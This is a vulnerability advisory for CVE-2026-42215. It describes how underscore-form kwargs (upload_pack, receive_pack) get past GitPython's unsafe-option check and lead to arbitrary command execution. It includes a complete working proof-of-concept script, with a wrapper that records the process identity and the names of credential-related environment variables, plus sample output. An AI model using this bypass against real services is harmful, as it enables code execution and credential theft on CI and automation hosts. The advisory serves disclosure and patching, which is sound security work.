CVE-2026-42215

Summary

GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False.

Details

GitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:

• git/repo/base.py:145-153 marks clone options such as --upload-pack, -u, --config, and -c as unsafe.
• git/remote.py:535-548 marks fetch/pull/push options such as --upload-pack, --receive-pack, and --exec as unsafe.

The vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags:

• Repo.clone_from() checks list(kwargs.keys()) in git/repo/base.py:1387-1390
• Remote.fetch() checks list(kwargs.keys()) in git/remote.py:1070-1071
• Remote.pull() checks list(kwargs.keys()) in git/remote.py:1124-1125
• Remote.push() checks list(kwargs.keys()) in git/remote.py:1197-1198

That validation is performed by Git.check_unsafe_options() in git/cmd.py:948-961. The validator correctly blocks option names such as upload-pack, receive-pack, and exec.

Later, GitPython converts Python kwargs into Git command-line flags in Git.transform_kwarg() at git/cmd.py:1471-1484. During that step, underscore-form kwargs are dashified:

• upload_pack=... becomes --upload-pack=...
• receive_pack=... becomes --receive-pack=...

Because the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.

In practice:

• remote.fetch(**{"upload-pack": helper}) is blocked with UnsafeOptionError
• remote.fetch(upload_pack=helper) is allowed and reaches helper execution

The same bypass works for:

Repo.clone_from(origin, out, upload_pack=helper)
repo.remote("origin").fetch(upload_pack=helper)
repo.remote("origin").pull(upload_pack=helper)
repo.remote("origin").push(receive_pack=helper)

This does not appear to affect every unsafe option. For example, exec= is already rejected because the raw kwarg name exec matches the blocked option name before normalization.

Existing tests cover the hyphenated form, not the vulnerable underscore form. For example:

• test/test_clone.py:129-136 checks {"upload-pack": ...}
• test/test_remote.py:830-833 checks {"upload-pack": ...}
• test/test_remote.py:968-975 checks {"receive-pack": ...}

Those tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.

PoC

1. Create and activate a virtual environment in the repository root:

python3 -m venv .venv-sec
.venv-sec/bin/pip install setuptools gitdb
source ./.venv-sec/bin/activate

1. make a new python file and put the following in there, then run it:

import os
import stat
import subprocess
import tempfile

from git import Repo
from git.exc import UnsafeOptionError

# Setup: create isolated repositories so the PoC uses a normal fetch flow.
base = tempfile.mkdtemp(prefix="gp-poc-risk-")
origin = os.path.join(base, "origin.git")
producer = os.path.join(base, "producer")
victim = os.path.join(base, "victim")
proof = os.path.join(base, "proof.txt")
wrapper = os.path.join(base, "wrapper.sh")

# Setup: this wrapper is just to demo things you can do, not required for the exploit to work
# you could also do something like an SSH reverse shell, really anything
with open(wrapper, "w") as f:
    f.write(f"""#!/bin/sh
{{
  echo "code_exec=1"
  echo "whoami=$(id)"
  echo "cwd=$(pwd)"
  echo "uname=$(uname -a)"
  printf 'argv='; printf '<%s>' "$@"; echo
  env | grep -E '^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)=' | sed 's/=.*$/=<redacted>/' || true
}} > '{proof}'
exec git-upload-pack "$@"
""")
os.chmod(wrapper, stat.S_IRWXU)

subprocess.run(["git", "init", "--bare", origin], check=True, stdout=subprocess.DEVNULL)
subprocess.run(["git", "clone", origin, producer], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

with open(os.path.join(producer, "README"), "w") as f:
    f.write("x")

subprocess.run(["git", "-C", producer, "add", "README"], check=True, stdout=subprocess.DEVNULL)
subprocess.run(
    ["git", "-C", producer, "-c", "user.name=t", "-c", "user.email=t@t", "commit", "-m", "init"],
    check=True,
    stdout=subprocess.DEVNULL,
)
subprocess.run(["git", "-C", producer, "push", "origin", "HEAD"], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
subprocess.run(["git", "clone", origin, victim], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

repo = Repo(victim)
remote = repo.remote("origin")

# the literal Git option name is properly blocked.
try:
    remote.fetch(**{"upload-pack": wrapper})
    print("control=unexpected_success")
except UnsafeOptionError:
    print("control=blocked")

# this is the actual vulnerability
# you can also just do upload_pack="touch /tmp/proof", the wrapper is just to show greater impact
# if you do the "touch /tmp/proof" the script will crash, but the file will have been created
remote.fetch(upload_pack=wrapper)

# Proof: the helper ran as the GitPython host process.
print("proof_exists", os.path.exists(proof), proof)
print(open(proof).read())

1. Expected result:

• The script prints control=blocked
• The script prints proof_exists True ...
• The proof file contains evidence that the attacker-controlled helper executed as the local application account, including id, working directory, argv, and selected environment variable names

Example output:

GitPython % python3 test.py
control=blocked
proof_exists True /var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/proof.txt
code_exec=1
whoami=uid=501(wes) gid=20(staff) <redacted>
cwd=/private/var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/victim
uname=Darwin  <redacted> Darwin Kernel Version  <redacted>; root:xnu-11417. <redacted>
argv=</var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/origin.git>
USER=<redacted>
SSH_AUTH_SOCK=<redacted>
PATH=<redacted>
HOME=<redacted>

This PoC does not require a malicious repository. The PoC uses that fresh blank repository. The only attacker-controlled input is the kwarg that GitPython turns into --upload-pack.

Impact

Who is impacted:

• Web applications that let users configure repository import, sync, mirroring, fetch, pull, or push behavior
• Systems that accept a user-provided dict of "extra Git options" and pass it into GitPython with **kwargs
• CI/CD systems, workers, automation bots, or internal tools that build GitPython calls from untrusted integration settings or job definitions (yaml, json, etc configs )

What the attacker needs to control:

• A value that becomes upload_pack or receive_pack in the kwargs passed to Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push()

From a severity perspective, this could lead to

• Theft of SSH keys, deploy credentials, API tokens, or cloud credentials available to the process
• Modification of repositories, build outputs, or release artifacts
• Lateral movement from CI/CD workers or automation hosts
• Full compromise of the worker or service process handling repository operations

The highest-risk environments are network-reachable services and automation systems that expose these GitPython kwargs across a trust boundary while relying on the default unsafe-option guard for protection.